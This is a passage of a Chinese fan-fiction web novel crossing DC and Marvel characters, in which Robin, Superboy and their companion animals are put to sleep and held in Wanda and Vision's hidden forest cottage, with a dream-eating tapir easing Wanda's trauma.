小乔在闹鬼之类的事情上面，一直有些微妙的犯怂。 小乔怕鬼。 多么凡人的弱点。 在小乔开始询问到底是不是闹鬼，以及那些人失踪的树林是不是这一片的时候，达米安已经开始往前走了。 哥谭的罗宾鸟冷漠无情。 “跟上，或者你自己想办法找路飞回去。” “达米……呃、罗宾！”小乔发出哀嚎声，“你等等我！” 达米安并未放慢步伐，在繁密的林子里每走一步都要小心脚下，可能有树根，有枯叶，有蛇或者别的，没人能百分百确定自己下一脚踩到的到底是什么。 相比之下能飞的小乔和小狐就方便多了，他们立刻追上达米安。 小乔伸手要拉达米安上来一起飘着，这次达米安却拒绝了。 “在上面飞着没办法找线索，你照顾好自己就好。”达米安板着个脸说。 可小乔并不想让达米安独自在地面冒险，干脆落下来，让小狐飘在自己肩膀高度，一人一狗跟上达米安的步伐，在距离达米安3米开外的位置展开搜索。 “罗宾，不要走开太远哦。” 树林中植被茂密，对两人来说又是陌生环境，小乔怕达米安一下跑的太远，分开没一会就开始敲通讯，进行第一次联络测试。 蝙蝠家出品的通讯装置，坚固可靠，小乔怎么也没想到它会罢工。 “滋、滋滋……” 一阵电流的忙音传来。 小乔一愣，不祥的预感油然而生。 他立刻抬头寻找，在可视范围内没找到达米安，小乔也不废话，立刻飞上高空，在树冠都挡不住的高度搜索起来。 正常情况下，他们俩将会呈一个微妙的扇形向前推进，当这扇面逐渐打开，两人距离过远时，达米安会用他们俩专用的通讯器呼叫小乔，确定彼此的位置。 然后，他们会先进行一次汇合，然后再次呈扇形打开。 “罗宾呼叫超级小子。” 又一次，当达米安抬头看不到小乔的身影，也听不见对方的动静，他开始用通讯器呼叫对方，让对方转向过来和自己汇合。 “……” “罗宾呼叫超级小子。”达米安又叫了一次。 “……” “…………汪！” 是小狐。 声音听着有些模糊，不知道是距离太远，还是小乔出了什么情况，正好将戴着通讯器的那只耳朵枕在脑下，这里的树叶很厚，很容易成为天然的降噪工具。 小狐才出生不久，达米安打赌小乔不会轻易丢下小狐。 如果不是小乔昏迷压住了通讯器，那就很可能是有人抓走了小乔，还发现他们的联络装置，将通讯器丢在地上了，而小狐去追小乔，所以才会远离通讯器。 达米安立刻打开护腕上的显示屏。 嗯，没错。 他可是蝙蝠家的罗宾，给小乔的通讯器有定位装置才是正常。 定位没有移动。 达米安掏出绳枪钉在树上，拉着自己飞向高处，他在枝头跳跃飞速移动，一边往那个方向追，一边还能抽空观察定位的状态。 是装置被丢弃了，还是小乔陷入昏迷？ 达米安也说不清楚哪种情况更糟糕，他还有点担心被敌人抓走的其实是小狐，在这种危机四伏的地方，软乎乎的小白狗只会成为口粮。 理论上他和小乔之间距离不过十来米，以现在的移动速度，找到小乔不过是十几秒的事情。 可达米安始终找不到。 他就在定位点的正上方，蹲在树枝上向下俯视。 达米安看了一圈，也没看到小乔的身影，而且附近没有任何打斗的痕迹，他还能在地上找到小乔一路走过来的足迹，断断续续的，一看就知道小乔是在连飘带走。 足迹在附近彻底没了下文，最后一处落脚点的位置和定位也是基本重合的。 达米安昂头看天，暂时排除小乔是太害怕闹鬼而疯狂升空的可能性。 可人又不可能凭空消失。 如果是其他人，达米安会怀疑对方撇下通讯器独自跑路的可能性，但这可是小乔，是小乔·肯特，那种事情绝不会发生在小乔和他之间。 达米安不死心的继续寻找，将搜索范围扩大到周围五十米。 布莱克从草丛里跳出来，回头看看自己身后睡成狗球团的斯诺，再看看原地睡成虾米的小乔和小乔身旁伸着爪子努力勾着小乔衣领的小狐。 刚才斯诺一睡过去，布莱克就用爪子换着角度拍打斯诺，无论它用多少力气，都无法将斯诺唤醒，现在面对小乔软乎乎的脸庞，布莱克用大肉垫扒拉两下，见小乔没有任何醒过来的意思便收手了。 它上下左右寻找，在距离地面近十米的高度找到了达米安。 这孩子靠在树干上坐着睡过去，看起来随时都可能掉下来摔成肉泥。 布莱克先将达米安送到地上，两巴掌拍在达米安脸上。 平时只要有一点风吹草动就会立刻跳起来的达米安此时睡得宛若婴儿般安祥。 叫是叫不起了。 布莱克四下寻找，终于找到一个干燥安全，没有野兽味道的山洞。 第29章 布莱克挨个叼回另外三只,将这两人两狗团团放好，让他们互相贴着，这样晚上如果降温的话他们可以彼此取暖。 忙完这一切后布莱克原地坐下,看着这四只开始发愁。 它有些拿不准自己下一步该做什么。 将昏睡不醒的四只小家伙就这么留在洞里,肯定会有风险,但布莱克只有一只猫,调查和守卫任务它只能进行一个。 没有老蝙蝠出面给它派任务, 布莱克只能自己选择。 布莱克看了达米安一眼, 果断跑出山洞。 坐以待毙可不是蝙蝠家的作风。 小乔是第一个睡过去的,然后是小狐，接着是斯诺,最后才是达米安,按照这个顺序来看,可以确认的是，问题很可能出在小乔昏倒的这片区域。 布莱克小跑回小乔昏迷的位置，左右看看。 好像……也没什么不对的。 非要说的话, 这片区域也太安静了，连虫鸣声都听不见一点。 明明是一座自然森林，却又微妙的透露着不自然。 布莱克在林间漫步。 它时不时的爬上树干，跳上岩石，从嗓子里滚出低沉的吼声，还用爪子在树干上留下抓挠的痕迹。 黑色在森林中并不算是优秀的保护色，可现在深更半夜的, 理论上只要够黑，黑都看不到布莱克的存在。 可偏偏就是有视线落在了它的身上。 布莱克对那些目光并不在意,只是这里听不见虫鸣，也没有鸟叫,这些看着自己的东西到底是什么？ 布莱克无法确定。 它猜这其中一定有自己的目标，更有可能它们都是它的目标。 黑色美洲豹沉默而冷静，不为环境的变化所动摇，它能感觉到某种精神力抚摸在自己身上，也许就是这东西让达米安他们陷入昏迷，而布莱克的被动技能就是免疫精神影响，包括但不限于伴生小动物散发的魅力，以及其他精神能力者的攻击和试探。 在精神领域，布莱克有着作弊似的防御力。 它的灵魂依然居住在不可见的蛋壳里，对方的能量向它探出触须，却碰在坚不可摧的蛋壳上，反倒是让布莱克通过这一次触碰感知到对方的大致方位。 布莱克撒开四只爪子，朝那个方向急速冲过去。 漆黑的影子贴地快速移动，强大的力量让它只需一次高跳就能蹿上高高的树冠，再从枝叶茂盛处猛地跃出。 在夜幕的包裹下，布莱克扑向前方。 肉眼已经被未知的力量遮蔽。 那不是作用在脑子里的精神力量，而是一种设立在环境中的隐形屏障。 布莱克对此毫无办法，只能一点点摸索，什么时候撞在屏障上了，才能找到这处异常，那无疑要消耗掉大量的时间，所以布莱克才一路招摇，故意做出攻击和破坏的意图，为的就是吸引对方的注意力，最好能让对面主动攻击。 那东西决定向布莱克伸手的时候，也就注定沦为豹子眼里的猎物。 “砰——！” 黑色美洲豹撞在巨大的屏障上，发出巨大的动静，那屏障也不是冷硬的，反而触感柔软，布莱克落在上面，没能下滑，反而开始往内部陷入。 布莱克一愣，舞动四只爪子就想爬起来，无奈下陷的柔软根本不给它那个机会，直接将布莱克给吞没了。 周围的景色开始变化，森林变成天外的背景。 当布莱克下陷到底，稳稳的一屁股坐在地面上，木色的两层小楼也完全显现，就在布莱克面前，它只要抬起爪，就能踏上楼前的台阶。 布莱克抬着一只前爪，不知所措，抬头能看到，门侧放着的推车，轮子上有些新泥，证明这里有人居住，还在进行日常活动。 精致的两层小别墅，墙上爬着精心养育的翠绿藤蔓，二楼阳台有花有草。 布莱克转头观察周围，还发现了木质的篱笆，和篱笆里四块小而方正的花田。 不难看出这里的主人很有情调，而且非常耐心。 应该是个热爱生活，会在宁静中安然沉醉的特殊存在。 就连木门都被保养的很好，缓缓打开时居然没有发出刺耳的嘎吱声。 布莱克看着门口，以及门口露出面目的人类女性。 “你是……” 人类率先开口，她面露疑惑，手指略微滑动，那像是个攻击信号，只是不知为什么，她没有攻击，反而平静的不可思议。 她看着布莱克，思考为什么会有一只黑化的美洲豹出现在这里。 也就是几秒的时间，人类突然意识到了什么，问布莱克：“你也是它们，对么？” “它们”？ 布莱克：什么“它们”？ “我是说，你们。” 我们？ 布莱克不明所以，它注意到这人能听懂自己说的话，也就是说，对方也是一名孵化者。 也许是感觉到了布莱克的警觉，对方露出微笑。 “旺达，你可以这么叫我。”人类做出自我介绍，“嗯……我让你的同类来和你接触，好么？这样你会放松一点吧。” 说着，旺达短暂停顿，然后笑意更深了。 “你们刚才已经接触过一次，它说你摸起来硬硬的，像是鸵鸟的蛋。” 布莱克：…… 什么见了鬼的形容。 猫猫眯起眼睛，用不赞同的眯眯眼来表达自己的不满。 猫是胎生的，哪来的蛋壳。 旺达被布莱克的反应逗得笑开，本就不错的心情越发明媚，她邀请布莱克进屋，让它在客厅自由活动，只留下一句“不许拆家”的叮嘱，就往地下室去了。 “嗷呜？”你相信我？ 布莱克追问。 旺达头也不回，只有她的声音在沿着楼梯道向上传递。 “精神能力者的本事可不止有精神攻击这一条路。”意思是她有自己的判断方式，她认为布莱克值得被信任。 被独自留下的布莱克踩在客厅的羊绒地毯上，看着旺达离开的方向。 这个人类，很相信它。 被信任的感觉让布莱克浑身不自在，大猫猫忍不住来了个滚筒洗衣机式抖毛。 这时另一个穿着家居服的人形生物过来同布莱克打了招呼。 “晚上好。” 人形生物显然不是个孵化者，听不懂布莱克的回应，彼此之间的沟通也不顺利，布莱克只能勉强理解它是个生化人，叫做幻视，无害，是旺达的伴侣。 幻视和旺达是夫妻关系，在这里隐居。 幻视并不认为一只大型猫猫能回应自己，只是略带机械的汇报完自己需要说的内容，然后便进入下个步骤。 他在布艺沙发处落座，摊开报纸，纸面陈旧，而他似乎也只是在做个样子。 差不多前后脚的功夫地下室的门打开，旺达抱着一团东西从里面走出来。 “哇呜？”他受伤了？ 布莱克问。 旺达看向幻视，那么一瞬，布莱克从旺达身上感觉到了攻击性，她不在意布莱克是否进入这间小屋，是否会威胁到她的安全，但她很介意布莱克靠近幻视，也非常不愿意听到布莱克打听幻视的事情。 布莱克无意触及旺达的雷点，见旺达沉默不语，布莱克干脆主动走到旺达身边，昂头去看她怀里抱着的东西。 那是一只…… 猪？ 长鼻子……猪？ “它是食梦貘，你可以叫它馍馍。” “……” 这名字听起来也很好吃的样子呢。 布莱克一愣一愣的。 旺达怀里是只浅棕色带着嫩白斑纹的食梦貘宝宝。 这东西完全在布莱克的理解之外，它看着食梦貘宝宝的长鼻子，都忘记压低自己的嗓音，发出接近猫叫的动静：“喵嗯……？”但是食梦貘不是小动物……吧？ 那是真实存在的东西吗？ “貘是存在的哦，馍馍是体型小的那个品种，叫它食梦貘是因为它的特性。” 食梦貘，顾名思义，它以梦为食。 “多亏了它，我们才能从梦境中清醒过来。”旁边的幻视向布莱克解释，“之前很长一段时间里，旺达都被困在梦中，直到馍馍的出现，旺达才得以醒来，找到我，然后我们一起建设这处林间小屋。” 说这段话的时候，幻视的声音略有些人性化，感觉比刚才好上很多，只是这种正常没能持续多久，说完话后幻视又变得跟程序设定好的一般，低头看报纸，却完全没有在阅读上面的内容。 他只是装作那个样子，并且装的很像。 旺达已经习惯幻视这个模样了，对此毫无反应，布莱克也就没有多问他们的情况，它更好奇馍馍的事情，哇呜着问：这只食梦貘的出现，是很久之前的事情吗？ 旺达略微点头：“差不多是一年前吧。” 也就是说，这只食梦貘是已知伴生动物中孵化最早的那个。 馍馍很乖的样子，一直窝在旺达的怀中，似乎根本不会下地，它只是探着头，长鼻子偶尔动一下，以此来观察布莱克。 布莱克也在看着它。 旺达并不着急，就让它们这么互相对视。 布莱克能感觉到馍馍身上不断溢出的精神力，它正在潜移默化的影响周围所有生命体，不仅是动物，还包括了植物。 在馍馍的感染下所有生命都变得平和稳定，那些负面的压力和痛苦都被吸走，馍馍则会在耸动长鼻的间隙中悄悄地张开嘴，将它们一口一口的吃掉。 没有了压力和精神上直接的痛苦，加上食梦貘持续散发着让人状态趋于平和的精神力，人的情绪自然会稳定得不太正常。 布莱克恍然大悟。 这只食梦貘并不是天生慵懒不爱动，而是吃得实在太撑，完全动弹不得。 第30章 沙发上, 幻视在看报纸。 临着开放厨房的餐桌边放着婴儿摇篮，馍馍就在里面休息，布莱克蹲坐在摇篮旁探头看着里面的长鼻子小猪。 旺达在边上的开放式厨房里准备他们的早饭。 这时候布莱克才注意到, 外面居然已经是晨光微熹。 两个小屁孩在午夜十二点前后正式出发,换乘飞机到达这片森林的时候大概是凌晨3点多,搜索工作不过是刚开头便宣告结束,最多不过十几分钟,这么一眨眼的时间,居然天都要亮了。 布莱克低头观察婴儿摇篮里的食梦貘。 那家伙的能力还会含糊时间么？ 布莱克伸出厚实的猫爪用肉垫去扒拉半睡半醒的馍馍,听馍馍在那抗议的哼唧哼唧，越发的觉得这就是只长鼻子小猪仔。 让布莱克在意的是, 理论上它免疫精神力影响, 却依然分辨不出时间异常。 这里肯定还有某种影响力, 是布莱克暂时无法理解的。 它安静的坐在原地，等待旺达做完早饭。 三明治和咖啡，很传统的美式早餐。 旺达还专门切出一盘火腿片,用白色瓷盘装着放在布莱克面前。 “能喝牛奶吗？”旺达问它。 布莱克低头嗅了嗅，又探出舌头卷了少许牛奶带入口中品尝，视觉和嗅觉的反馈都没有问题，味觉也一切正常，这就是最普通不过的正常食物。 大猫开始慢悠悠的享用自己的早餐，旺达也在幻视对面坐下来吃饭。 期间偶尔跟幻视聊几句，幻视的回答时而机械, 时而正常。 摇篮里的馍馍偶尔打几个饱嗝。 一个早饭的时间，布莱克对旺达的性格也有了一个大致的了解。 简单、善良、纯白。 这是布莱克对旺达的印象。 她看起来像是在无菌室长大的白花, 从未被任何人伤害过，也不会想要去伤害任何人。 但同时布莱克也能在旺达身上读到疯狂的余味, 以及杀伐果断的残暴。 她曾经被伤害过，只是那份痛苦被食梦貘吃掉了，连同她日夜面对不正常的丈夫而持续产生的压力也被吞噬殆尽。 也许蝙蝠侠会需要这只小猪仔。 布莱克思考着。 也许哥谭的疯子也会需要。 “喵嗷？”布莱克向旺达发出邀请：你知道一座叫做哥谭的城市吗？我的孵化者就住在那里，也许你们可以交个朋友。 布鲁斯能为星期五和夏洛克·福尔摩斯千里迢迢跑去伦敦，自然也会想见旺达和馍馍的。 在这点上，布莱克很有把握。 “抱歉，”旺达却婉拒了，“我答应过别人，只有在万不得已的情况下才能离开这里。” 说完这话，旺达看着布莱克犯了难，“你也不能将这里的位置和在这里发生的事情告诉任何人，包括你的孵化者在内。” 布莱克摇了摇头。 怎么可能呢？蝙蝠侠不可能接受那种情况。 旺达略微愣了一下，嘀咕：“你都不试着骗我一下么？” 布莱克：？ 猫猫摇头。 “你不怕我杀了你来保守秘密吗？”旺达又问。 猫猫再次摇头。 “喵呜。”布莱克轻声叫着：我认识你。 这话让旺达十分疑惑。 猫猫口中的“认识”和人类概念中的“认识”并不相同。 布莱克所表达的是它认识旺达的气味。 曾经在小红身上嗅到过这个味道，仅有一次，阳光和花香的味道却让布莱克当场打了个喷嚏，并且印象深刻。 当时小红说它只是去了纽约，在那里遇见一只红隼。 布莱克还搞不明白去一趟纽约怎么会弄得小红一身田园烤鸟的香味。 现在倒是看明白了，估计是从这里沾来的味道。 旺达身上没有哈瑞肯的气味，但这屋子里还有极少量的属于哈瑞肯那位孵化者的气味。 综合考虑一下，布莱克认为旺达值得一个基础的信任。 旺达也确实没打算伤害布莱克，她看着布莱克，绞尽脑汁的想自己该怎么办。 眼前这只黑色美洲豹具有天然的精神屏障，如果强行使用能力去消除它的记忆，也许会对这只大猫造成难以逆转的伤害。 那不是旺达想要的效果。 旺达低头看着自己修长的手指，它们似乎在微微发颤，不远处的婴儿摇篮里，食梦貘再次打了个饱嗝，旺达也有了主意。 无法消除记忆，自然就不能放它离开。 那就留下吧。 美洲豹食量不小，下次需要多囤点食物了。 有了决定的旺达对布莱克说：“暂时住下吧，你和你的朋友们，林间小屋欢迎你们。” 布莱克当然不会拒绝。 这座森林里虽然没有野兽，昼夜温差却也不小，它既然一时半会带不走达米安他们，那不如一起在这小屋里暂住。 吃完早饭，旺达发现是馍馍睡着了，加上要出去找人带着馍馍并不方便，她暂时将食梦貘放在摇篮里让它继续睡，洗碗的工作交给幻视，旺达自己则换了身衣服，和布莱克一起出去寻找依然在昏睡的朋友。 离开屏障的时候，布莱克惊讶的发现外面才刚刚黎明，而里面却已经是中午了。 “我们的时间会比外面更快些，这样幻视能更好的恢复。” 也许是因为要一起生活，旺达主动向布莱克说明屏障内的情况，并简单解释了一下原因：幻视需要更多的时间来修复自身，为了能让他尽快回到这个世界，旺达一直带着幻视在加速屏障内生活。 “哇呜。”他好像接触不良的硬盘。布莱克选了一个比较提摩西式的比喻。 旺达被逗笑了。 “是的，就是这样，他的灵魂时而在线，时而不在，不过一般老化的硬盘是偶尔掉线，而他是偶尔上线。” 话说到这里，旺达突然愣住。 不知为何她感觉到一丝酸楚逐渐占据整个胸口，紧随其后的是呼吸困难，冷汗，发抖和头晕目眩。 旺达不得不停下脚步，扶着树干休息。 “也许是时间流速不同导致的不适应……” 旺达含糊的胡乱猜测。 人类的身上散发着痛苦的味道，布莱克踱步走到旺达身边，让她能靠在自己身上，毛绒的大猫靠着暖洋洋的，像是在溺水的人面前横上一根浮木，旺达下意识的抱住布莱克的脖子，紧紧的搂住它。 几分钟后，心悸还是没有减弱，旺达依然呼吸困难。 “喵呜。”布莱克用非常轻的声音叫道：我会把他们叼回去的，你先回屏障吧。 这根本不是什么时间流速差异导致的问题。 现在的旺达需要的是食梦貘。 他们分开的太远了，食梦貘无法立刻吃掉旺达精神世界里溢出的痛苦情绪，它们终于找到机会开始占领旺达的心灵，并迅速超过了旺达能承受的限度。 这是恐慌症发作。 旺达看着美洲豹，坚定的说：“我必须确保你们不会私自离开。” 布莱克对此毫不意外：“哇呜。”那我们动作快点，你能跑起来吗？ 旺达当然可以。 作为精神能力者，她可以强迫他人，当然也可以强迫自己。 布莱克撒开爪子跑了起来，旺达则是利用一种暗红色的不明能力强行带动自己的身体向前，紧跟在布莱克身后。 他们不过用了几分钟就找到那处山洞。 旺达浑身都被冷汗湿透，却还是用自己的能量将两人两狗卷住打包带走。 回去的路更加顺利，他们只用了十五分钟就回到了屏障内部。 幻视在馍馍的催促下抱着馍馍来到门口等待，一见到旺达进来，馍馍立刻扑进旺达的怀里，旺达也本能的紧紧抱住它，呼吸过度似的将脸埋在馍馍身上，大口大口的喘气。 布莱克就在旁边看着。 幻视将旺达连同馍馍一起抱上楼，将他们安放在床上休息。 布莱克就留在楼下陪着孩子和狗狗。 达米安和小乔窝在沙发上依然睡得香甜，还需要一点时间才能醒来，小狐年纪太小了，也需要多睡一会，倒是斯诺，很快就立起来，先是撑了个懒腰抖了抖毛，才开始观察四周。 看到布莱克就在边上，斯诺“汪”了一声：这里是哪？ 布莱克：旺达和幻视的林间小屋。 斯诺：……？ 旺达和幻视是谁？ 这要解释就说来话长了，而且布莱克也不知道他们的确切身份，只能捡自己能确定的部分来说。 “喵嗷。”旺达是精神能力者，可能是所谓的变种人吧，同时也是孵化者，她的伴生动物是食梦貘，叫做馍馍，你们之所以会陷入沉睡，就是馍馍的能力，他们不想让人打扰这座林间小屋的安宁，因此会让靠近的人昏睡，抹掉记忆然后再放出去。 斯诺听了就点头：“汪。”听起来不像是坏人。 布莱克：…… 斯诺又问：那我们为什么没有失忆，也没有被放出去。 布莱克：因为我能屏蔽精神能力，放我出去会有泄露秘密的风险，所以他们决定让我们都留在这里。 斯诺：…… 这……听起来就有点像坏人了。 斯诺去把小乔、达米安和小狐挨个嗅了一遍，确定他们只是在睡觉，而不是中毒或者受伤了，然后面对布莱克一屁股坐下。 狗狗和猫猫互相看着对方。 斯诺：“汪！”现在怎么办？ 布莱克因为这货的理直气壮而脸部发平。 “喵嗷？”干嘛问我？ 斯诺更加理直气壮了：超人有问题问蝙蝠侠，我有问题问你，这不是天经地义的吗？ 布莱克：……【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 还没等布莱克想出办法, 旺达已经恢复了。 她抱着馍馍来到客厅，探头和布莱克贴了贴脸，完成一次猫猫打招呼,然后又向斯诺问好,得知这是超人的伴生动物,旺达非常惊讶。 “你也会飞么？” 斯诺点了点头, 并主动表演一段花式飞行, 这迎来了旺达的赞叹。 幻视就在旁边配合着鼓掌,有种捧读的美感。 然后旺达就去做午饭了,斯诺看着在厨房忙碌起来的旺达，再看看依然在看报纸,并且一直在看同样一页的幻视。 狗狗选择将头探进婴儿摇篮,问：“汪？”她一直都这样的吗？ 完全离不开馍馍,就算做饭的时候，旺达也会用婴儿摇篮带着馍馍，保证它在自己5米范围内。 5米, 这就是他们分离的极限。 婴儿摇篮里的馍馍轻轻“嗯”了一声，它的叫声有点像鸟鸣，和憨墩墩的外表反差极大。 布莱克将脑袋从另一侧探入婴儿摇篮，不赞同的喵呜：她这么严重，你该说清楚的。 当时看旺达放下食梦貘的样子并不勉强，布莱克还以为他们是可以分开的。 馍馍摇头，啾出声：原来也没有那么严重,最初是三天，然后是一天,又变成8个小时，上次我们分开的时候,还能坚持半小时左右。 这次却是立刻就不行了。 也就是说，旺达的情况在不断恶化，食梦貘靠吞噬负面情绪为她维持稳定，不过是治标不治本，她心灵的伤口依然在腐烂流脓。 斯诺抬头看了一眼开放厨房，不过是近在咫尺的距离，但旺达看起来并没有反应。 她似乎没有听见这边三只动物的对话。 见斯诺在意，馍馍啾啾叫着告诉它，不必担心，它们的对话不会被旺达听到。 “喵呜？”你能控制她？ 布莱克好奇的问。 馍馍当然可以，至于为什么，它却不想多做解释。 从出生开始，馍馍与旺达的精神便紧密相连，若是单论强弱，旺达的精神力更为强大蛮横，才是处于主导地位的那个，可因为心理创伤的缘故，旺达的内心屏障非常脆弱，主导权自然也就落到了馍馍的手中。 也是因此当它认为有必要的时候，可以轻松地暂时屏蔽旺达对周围的正确感知。 布莱克：看来你有事情要瞒着旺达。 馍馍没有否认，它告诉布莱克和斯诺：旺达坚持不了太久，治标不治本的办法本来就只是在强行遮掩创伤罢了，必须在旺达的心灵完全崩塌之前治好那道伤口。 布莱克：幻视不是正在恢复吗？ 这方面的问题，馍馍也不清楚具体情况，只知道那不是表面看起来的这样简单。 “有一种可能，也许，我不是幻视。” 一直在看报纸的幻视突然转头过来，他浑身都维持原样，只有脑袋转向这边，并十分自然的加入了它们的对话。 布莱克和斯诺同时被吓了一跳。 幻视明明没有伴生动物来着，为什么能加入它们的群聊？ 而且这个姿态也太吓人了…… 斯诺都原地飘起来了一点点。 馍馍小声叫着：是我连接了他的精神，当他的灵魂能接上线的时候，他能通过我的精神力来和其他伴生动物达成沟通。 布莱克恍然大悟：所以，你是一台翻译机。 再一回头，幻视又去看报纸了。 馍馍打了个嗝。 旺达希望幻视能早点恢复，又担心回来的并不是幻视，她希望审判来的慢一点，又希望幻视早点恢复，完美的达成了死循环，希冀、恐惧反复折磨她的心灵，让她的精神处于反复内耗的境地。 斯诺安慰它：人类是非常坚强的生灵，只要有你的陪伴，旺达一定能够康复。 馍馍却只是摇头：旺达是实验室长大的孩子，人生中并没有太多美好支撑她在失去爱人之后依然坚强。 童年的缺失确实是个大麻烦，要知道蝙蝠侠身边还有阿福，还有养子，而且在很小的时候，布鲁斯是被父母全心全意爱护过的。 布莱克：你想让我们帮你做什么？ 馍馍：修好幻视。 斯诺有些为难：“汪……”可是我也不会修机器呀…… 馍馍：我听说过氪星科技…… 氪星科技远超过地球水平这是没错，可斯诺并不了解那些，自然也无法保证什么。 馍馍听完叹了口气，倒是没有打算继续勉强。 它提出另一个请求：能帮我寻找一个叫做X教授的人类吗？ 斯诺：你要见他么？ 馍馍点头：听说他的心灵能力非常强悍，也许能帮助旺达，如果幻视无法回来，我希望幻视能从旺达的心灵中消失。 如果旺达是因为失去幻视而痛苦，那么只要让幻视从未出现过就好了。 馍馍这样说的时候，棕黑色的眼瞳泛起一层红，周身溢出一股让人不由自主感到寒冷与绝望的气息。 那层红刚刚泛起水光，就被斯诺用爪子轻轻的按住了。 斯诺的汪肉垫带着北极雪原的微微凉意，直接给馍馍冰得一个激灵，眼神瞬间就清澈了起来。 “汪。”旺达不会愿意的，欺骗的道路注定无法走远。 “汪呜。”你们是同伴，应该并肩前行，而不是你在阴影里，看她自己往前走。 布莱克若有所感，侧头去看斯诺。 斯诺也没帮自己的孵化者隐瞒，它直接告诉布莱克，这句话是从超人口中听到的，话中原本的主人翁自然是超人和蝙蝠侠。 布莱克：…… 怪不得听起来肉麻兮兮的。 直球汪就是讨猫嫌。 布莱克超级用力的扭开了猫头。 婴儿摇篮里的馍馍却“哇”的一声大哭出来，在它完全转移注意力的时候，对旺达的精神屏蔽自然解除，旺达被它的哭声吸引，急忙擦干净手赶过来。 斯诺的爪子还按在馍馍的脑门上呢。 旺达看着斯诺。 斯诺看着旺达。 “汪……”我说不是我干的，你信么……？ 旺达能感觉到馍馍没有被伤害，自然知道斯诺没有做坏事，看白狗狗卖乖的模样，旺达有些哭笑不得，叮嘱它们：“玩的时候轻一点，馍馍比较娇气。” 狗狗和大猫都乖乖点头。 等旺达回去继续做饭，馍馍也不哭了，布莱克和斯诺才再次一左一右将两颗脑袋凑到馍馍面前。 馍馍还在小声抽泣，边打嗝边同它们道歉，语速飞快的说自己刚才并不是故意发癫，只是情绪起伏过大，有些失控。 不知道什么时候开始，馍馍发现自己的情绪变得很容易一惊一乍，并且越来越难以自控。 但无论如何，X教授还是要找的。 大猫和狗狗对视。 看来不只是旺达的状态日渐下滑，连馍馍也没多少时间了。 这就能解释为什么馍馍冒险和它们进行沟通，也许它们是馍馍从诞生到现在唯一遇到的伴生动物，而馍馍已经没有时间继续等待其他更可靠的人选。 布莱克提议：“喵嗷？”为什么不向她的朋友求助呢？在旺达身上能闻到属于其他人类的气味，就是那人在给这座林间的秘密小屋供给食物吧，难道他不是一个可以信任的人？ 馍馍无奈道：他没有伴生动物，而且他和幻视本身是同事关系，我不相信他。 布莱克注意到馍馍对幻视的情感十分复杂。 它因为旺达喜欢幻视而喜欢幻视，又因为旺达的痛苦而排斥幻视。 馍馍有一层十分简单的逻辑——看到这个东西会难受，就不要再让这个东西出现在眼前。 斯诺的注意点则更简单，它疑惑的问：没有吗？ 斯诺也从屋子里收集到了那些气味，自然知道布莱克说的是谁，可是他明明都有伴生动物来着？为什么馍馍就是说没有，并且非常肯定呢？ 狗狗还在迷茫，猫猫先一步反应过来，问：你们上次见面是什么时候？ 馍馍告诉它，那是三个月前。 为了防止被人发现幻视依然存在，那个人差不多是3到4个月才会过来一趟。 狗狗和大猫恍然大悟。 三个月前哈瑞肯还没出生呢，哈瑞肯的孵化者，那个代号为鹰眼的复仇者也不过是个普通的人类，馍馍自然不会轻易选择对方。 馍馍被困在这林间小屋之中，并不知道外面今夕是何年。 布莱克小声哼笑出声，意味不明。 馍馍刚想问，就听到沙发那边传来一点儿的动静。 先是小乔揉着眼睛坐了起来，他怀里的小狐打着哈欠撑着懒腰，滚筒洗衣机式抖毛让自己清醒，然后左右看看。 小孩和狗对脸懵逼。 “咦，我们不是在树林里？” 小乔和小狐反应不过来现在是什么情况。 达米安则很清楚自己遭到不明袭击，在恢复清醒的瞬间就猛地坐起来，当场就要拔刀，正好旺达开始将午饭端上桌，馍馍也解除了对旺达的屏蔽。 “午饭好了哦。”她招呼其他人和小动物，“你们也醒了，过来一起吃吧。” 达米安一眼认出了旺达。 其实他并没见过旺达，但蝙蝠电脑的资料库里有这个女人，达米安知道她是绯红女巫，是变种人激进派领袖万磁王的女儿，也是个能力异常强大的变种人。 大概是一年之前，旺达突然袭击某处的军事基地，将其中所有人屠杀一空。 有可靠消息能证明，旺达在离开时还带走了某样东西。 某样被标记为“高危”、“应该被摧毁”的东西。 第32章 旺达当然不会给达米安攻击自己的机会,绯红色的心灵能量裹住达米安抽出的长刀，半强制性的将它送回刀鞘。 “吃午饭了。” 旺达有在试图安抚达米安，可达米安依然认为那是威胁。 小屁孩咬牙切齿, 问布莱克：“我们睡了多久？” 布莱克：“嗷。”也就几个小时, 不过这里的时间流速比较快, 可能有外面的四五倍。 它感觉自己才吃过早饭, 肚子里的食物还没消化完呢, 现在已经要吃午饭了, 布莱克还没适应这个生活节奏, 只觉得自己的胃已经要罢工了。 达米安就用那种“这一定是个阴谋”的视线盯着面前的食物。 “吃吧，没事的。”小乔劝他, “我们都昏迷这么久了,她真要杀我们,也不至于等到我们睡醒再来下毒。” 达米安冷哼一声。 道理他都懂，他就是不爽。 …… ………… 午饭顺利结束。 饭后达米安出去劈柴，小乔则帮忙清理房顶的树叶,这些工作本来都是靠着旺达用混沌魔法来解决，现在有了可以自由飞行的小乔帮忙，旺达也多了些休息的时间。 斯诺陪着小乔清理屋顶，布莱克在后院负责看护达米安。 前者是为了防止小乔受伤，后者是为了防止林间小屋受伤。 达米安想要拔刀练剑，顺便发泄下心里的不爽，布莱克抬爪按在他的手背上,无声地替周围的花草树木婉拒这孩子想要为它们美容美发的好意。 于是达米安更加不爽了。 心情不佳的达米安选择抱住布莱克的脖子，将脑袋埋在布莱克的胸前软毛里一顿狂吸。 “我们得想办法离开这里。” 趁着埋胸的机会,达米安用无比微小的声音对布莱克说。 但这个想法有些难度。 旺达是精神能力者，如果她想, 这片树林的边边角角都逃不过她的“眼睛”。 达米安也想到了这个，他很快换了个计划。 “这里有东西屏蔽了蝙蝠定位，如果我们能解决那个，蝙蝠侠和超人就能找到我们。”说着，达米安在布莱克的后背上轻抚两下，“不用担心，以超人那个氪星救难犬的性格，就算知道了幻视和旺达的存在，也绝不会为难他们，还会主动提供庇护。” 布莱克神色复杂。 其实，它比较担心旺达为难超人。 还是我自己想办法吧。 布莱克开始琢磨，旺达的能力强悍，靠它一只大猫肯定做不到万无一失，它需要队友，最好是自带精神屏蔽能力的那种。 但显然没有。 这条路基本被堵死了。 布莱克并未气馁，它很快有了想法，在达米安真的开始认真砍柴的时候，布莱克跑进屋子里，旺达在楼上的卧室休息，幻视陪着她，布莱克顺着气味寻觅，在紧邻着主卧的次卧里找到了馍馍。 “喵嗷？”你们怎么没住在一起？ 馍馍没好气的看着这货，啾鸣着问：他们夫妻住在一起，我凑上去干嘛？ 